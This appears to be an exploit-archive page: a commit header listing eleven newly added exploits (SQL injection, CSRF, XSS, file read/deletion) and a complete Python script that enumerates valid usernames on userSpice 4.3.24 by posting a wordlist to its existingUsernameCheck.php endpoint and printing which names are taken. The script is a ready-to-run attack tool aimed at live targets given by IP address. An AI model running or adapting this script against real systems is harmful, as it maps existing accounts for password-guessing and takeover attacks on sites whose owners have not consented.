1877107e5a
11 changes to exploits/shellcodes WebKitGTK+ < 2.21.3 - 'WebKitFaviconDatabase' DoS WampServer 3.0.6 - Cross-Site Request Forgery Schools Alert Management Script - SQL Injection WordPress Plugin Pie Register < 3.0.9 - Blind SQL Injection Event Manager Admin panel - 'events_new.php' SQL injection Joomla! Component EkRishta 2.10 - 'cid' SQL Injection Schools Alert Management Script - Arbitrary File Deletion userSpice 4.3.24 - 'X-Forwarded-For' Cross-Site Scripting userSpice 4.3.24 - Username Enumeration Schools Alert Management Script - 'get_sec.php' SQL Injection Schools Alert Management Script - Arbitrary File Read
38 lines
No EOL
928 B
Python
Executable file
38 lines
No EOL
928 B
Python
Executable file
# Exploit Title: userSpice 4.3.24 - Username Enumeration
|
|
# Date: 2018-06-10
|
|
# Author: Dolev Farhi
|
|
# Vendor or Software Link: www.userspice.com
|
|
# Version: 4.3.24
|
|
# Tested on: Ubuntu
|
|
|
|
import sys
|
|
import os.path
|
|
import requests
|
|
|
|
print("[+] UserSpice 4.3.24 Username Enumeration")
|
|
|
|
if len(sys.argv) != 3:
|
|
print 'Usage:', sys.argv[0], 'ip.add.re.ss', 'usernames.txt'
|
|
sys.exit(1)
|
|
|
|
if not os.path.exists(sys.argv[2]):
|
|
print('usernames.txt does not exist')
|
|
sys.exit(1)
|
|
|
|
headers = {
|
|
'Origin':'http://' + sys.argv[1],
|
|
'X-Requested-With':'XMLHttpRequest'
|
|
}
|
|
|
|
print('Checking usernames...')
|
|
|
|
f = open(sys.argv[2], 'r')
|
|
|
|
for user in f:
|
|
user = user.strip()
|
|
req = requests.post('http://'+sys.argv[1]+'/users/parsers/existingUsernameCheck.php', headers=headers ,
|
|
data={"username":user})
|
|
if 'taken' in req.text:
|
|
print('[FOUND] ' + user)
|
|
else:
|
|
print('[NOT FOUND] ' + user) |